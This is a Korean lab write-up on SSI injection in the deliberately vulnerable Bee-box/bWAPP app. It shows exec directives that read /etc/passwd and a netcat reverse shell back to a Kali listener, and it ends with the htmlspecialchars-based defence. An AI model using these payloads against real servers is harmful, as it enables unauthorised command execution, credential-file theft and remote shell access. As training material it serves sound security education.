[Bee-box] 기타 인젝션 공격- SSI 인젝션

php code injection 실습에 이어서,

오늘은 인젝션 기법 중 ssi injection을 실습해볼게요.

실습하는 모든 공격은 실제로 사용하시면 안됩니다.

허용받지 않은 서비스 대상에 해킹을 시도하는 행동은 금지하며,

모든 법적 책임은 사용자에게 있는 것을 명심해주세요.

 

 

---

 

SSI(Server-Side Includes?

html 페이지의 전체 코드를 수정하지 않고 공통 모듈 파일로 관리하며 동적인 ㅐㄴ용을 추가하기 위해 만들어진 기능이다.

주로 방문자 수를 세거나 홈페이지의 로고 수정 등 간단한 기능 추가시 사용한다.

 

ssi 를 사용하는 웹 페이지의 경우 ssi지시어 처리를 위한 .shtml (www.terms.co.kr/SHTML.htm) 확장자 파일을 생성한다.

ssi지시어의 형식은 다음과 같은데, HTML 의 주석과 비슷한 형태로 ssi기능을 사용하지 않는 경우 웹 브라우저는 ssi지시어를 주석으로 처리한다. " <!--#element attribute = value --> "

 

위키 백과에서는 ssi를 아래와 같이 정의한다.

서버 사이드 포함 (SSI)를 해석 간단 서버 - 사이드 스크립트 언어는 월드 와이드 웹 (World Wide Web) 거의 독점적으로 사용이. # include 지시문을 사용하여 하나 이상의 파일 내용을 웹 서버 의 웹 페이지에 포함하는 데 가장 유용 합니다.

 

SSI 인젝션 취약점이 있는 경우 페이지에 악의적인 지시어를 주입하는 공격이 가능함.

 

---

 

 

난이도 하

 

 

SSI 접속

 

 

 

이 페이지는 이름을 입력하고 Lookup 클릭 시 사용자의 ip를 출력해준다.

 

 

 

여기서 url 에 ip는 vmware(가상환경) 게스트 ip이고

아래 빨간 네모 박스는 host ip 이다.

 

실제로 ip가 출력되었음.

 

즉 Lookup 버튼을 클릭하면 ssii.shtml 페이지를 호출함.

(이걸로 사용자는 shtml(ssi지시어 처리를 위한 확장자), ssi 기능을 사용하고 있다고 파악 할 수 있음.

-> 취약점 발생 가능성)

 

인젝션 취약점을 파악 하기 위해 ssi지시어를 입력칸에 넣어본다.

ssi 지시어는 html주석과 비슷한 형태로 웹 애플리케이션 서버에서 ssi기능을 설정 하지 않았다면

브라우저에서 ssi지시어를 실행하지 않고 무시한다.

 

 

<!--#echo var="DATE_LOCAL" -->

 

위 지시어는 현재 시간을 출력하는 명령어이다.

 

 

 

현재시간을 출력한다. -> ssi 취약점 확인.

 

exec는 기존 프로세스의 컨텍스트에서 실행 파일을 실행하여 이전 실행 파일을 대체하는 운영 체제의 기능입니다. 이 동작을 오버레이라고도합니다. 다른 곳에 존재하더라도 유닉스 계열 시스템에서 특히 중요합니다.

 

www.linux.co.kr/unixwebhosting/ssi/ssi04.htm << ssi공격 명령어 자세히 알기

 

 *** 주의 할것 : echo 명령어 아니고 exec명령어임 ***

 

 

 

cmd = ls 명령을 입력해본다.

cmd속성에 디렉터리 내용을 출력하는 ls 명령어를 입력하고 조작한 ssi를 넣어본다.

(필드는 꼭 채워야 하니, last name =아무거나 써줌)

 

 

와웅! ssi인젝션 성공>< 주요 정보를 뺴보자.

cat명령어로 파일을 볼거다. passwd파일!

 

경로를 입력해서 들어가본다.

 

<!--#exec cmd="cat /etc/passwd" -->

 

 

민감한 정보 유출

 

 

이런 경우 netcat을 이용해서 서버 쉘에 접근 가능.

즉 악의적인 스크립트 파일을 서버에 추가하거나, 주요 정보를 읽는 등의 기능을 수행 할 수 있음

 

▼

칼리리눅스 접속

- sudo su (루트로 접근)

- nc -l -p 666 (리슨모드 다른호스트가 들어올 수 있게, -p로 접속 포트 지정)

 

-----즉 beebox가 서버라 가정했을 때 서버에서 -> 클라이언트(칼리리눅스)로 접근 / 리버스 쉘

 

beebox에서 ssi 지시어로 넷캣 실행 시킨다.

 

<!--#exec cmd="nc (칼리 ip)  666[칼리 포트] -e /bin/bash" -->

 

bash쉘 사용하고, -e명령어로  입력 프로그램 실행

 

 

이 과정을 완료하면 칼리에서 beebox내부구조를 파악 할 수 있음. 

 

대응방안

 

'난이도 상' 에서는 ssi 지시어 입력해도 명령어가 실행되지 않고, 모두 문자열로 출력된다.

코드를 확인해보았더니 모두 xss_check_3함수로 필터링되고 있다.

 

경로는 functions_external.php (var/www/bWAPP밑에 있어요~)

 

 

 

내용을 살펴보니 utf-8로 인코딩을 해준다. 데이터를

htmlspecialchars를 통해 받은 data(입력데이타)를 인코딩 해주는 함수인데

 

 

http://b.redinfo.co.kr/56

 

위와 같이 특수문자를 html엔티티로 변환시킨다.

 

 

http://b.redinfo.co.kr/56

 

두번째 인자는 위를 보면 될것 같다.

 

하여튼 문자로 인식하게 방어 하면 된다!

 

---

 

## 참고하면 좋을 사이트 link ##

 

b.redinfo.co.kr/56

www.php.net/manual/en/function.htmlspecialchars.php